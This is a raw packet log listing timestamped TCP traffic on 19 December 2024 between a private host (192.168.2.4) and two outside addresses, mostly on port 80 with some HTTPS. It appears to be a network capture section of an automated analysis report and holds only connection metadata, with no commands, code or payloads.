Dec 19, 2024 06:09:52.893929958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.894836903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.894882917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.894958019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.895004988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.895935059 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.896013021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.896059036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.896106005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.897062063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.897110939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.897155046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.897314072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.898140907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.898186922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.898236036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.898279905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.899260998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.899327993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.899341106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.899385929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.900410891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.900460005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.900470018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.900510073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.901459932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.901508093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.901552916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.901592970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.902601957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.902656078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.902787924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.902829885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.903682947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.903749943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.903786898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.903836012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.904757023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.904800892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.904897928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.904937029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.905889034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.905965090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.906037092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.906116962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.906990051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.907042027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.907099962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.907141924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.908106089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.908152103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.908212900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.908261061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.909228086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.909269094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.909322023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.909419060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.910269976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.910310030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.986803055 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:52.986989021 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:52.989666939 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:52.989684105 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:52.990071058 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:53.035839081 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:53.037168980 CET	49867	443	192.168.2.4	20.233.83.145
Dec 19, 2024 06:09:53.044286013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.044409037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.044471025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.044817924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.044903994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.044956923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.045924902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.045974970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.046330929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.046466112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.046514034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.047430038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.047557116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.047606945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.048562050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.048681974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.048731089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.049654007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.049700022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.049793005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.049844027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.050760984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.050858974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.050908089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.051876068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.051922083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.052078962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.052994967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.053044081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.053087950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.054240942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.054256916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.054295063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.054307938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.055227995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.055275917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.055337906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.055385113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.056318045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.056435108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.056482077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.057420015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.057534933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.057588100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.058549881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.058595896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.058640003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.059629917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.059683084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.059735060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.060029984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.060749054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.060925961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.060973883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.061899900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.061997890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.062051058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.063045979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.063092947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.063189030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.063672066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.064105988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.064148903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.064218044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.064264059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.065171957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.065285921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.065335989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.066246033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.066293001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.066406965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.066452980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.067509890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.067537069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.067578077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.079360008 CET	443	49867	20.233.83.145	192.168.2.4
Dec 19, 2024 06:09:53.187827110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.187844992 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.187894106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.188730955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.188755989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.188779116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.188797951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.307362080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.307382107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.307656050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.426981926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427000999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427016973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427035093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427046061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427051067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427068949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427074909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427087069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427103043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427112103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427112103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427119017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427136898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427139044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427153111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427170038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427179098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427186966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427206039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427225113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427342892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427392960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427408934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427438974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427468061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427481890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427483082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427501917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427516937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427524090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427524090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427536964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.427546024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427560091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.427606106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.428375959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428392887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428409100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428425074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428441048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428441048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.428441048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.428455114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.428458929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428476095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428494930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.428494930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.428529024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428529978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.428546906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.428622961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429114103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429163933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429179907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429182053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429198980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429200888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429217100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429239035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429239035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429269075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429446936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429462910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429480076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429522038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429522991 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429522991 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429578066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429594040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429609060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429625034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429641008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429646015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429646015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429658890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429687023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429687023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429706097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.429717064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.429893017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430505991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430521011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430536985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430555105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430561066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430577993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430584908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430584908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430596113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430628061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430628061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430634975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430653095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430668116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430685043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430699110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.430702925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430702925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430740118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.430752039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.435105085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435122967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435139894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435156107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435172081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435174942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.435174942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.435188055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435215950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.435234070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435240030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.435301065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.435873985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435890913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.435928106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.435946941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.436026096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436068058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436084032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436121941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436130047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.436130047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.436140060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436160088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436167955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.436194897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.436194897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.436790943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436856985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.436860085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436886072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.436969995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.437026978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437043905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437086105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437102079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437113047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.437150955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.437192917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.437825918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437865973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437899113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.437899113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.437957048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437973022 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.437988997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.438005924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.438008070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.438025951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.438025951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.438047886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.438050032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.438065052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.438081980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.438102007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.438102007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.438111067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439172983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439189911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439205885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439240932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439254045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439274073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439290047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439305067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439327955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439342022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439359903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439404011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439802885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439820051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439835072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439851999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439856052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439856052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439867973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439879894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439897060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439897060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439929008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439929008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439944029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439959049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439974070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.439986944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.439990997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.440031052 CET	49860	80	192.168.2.4	31.41.244.11
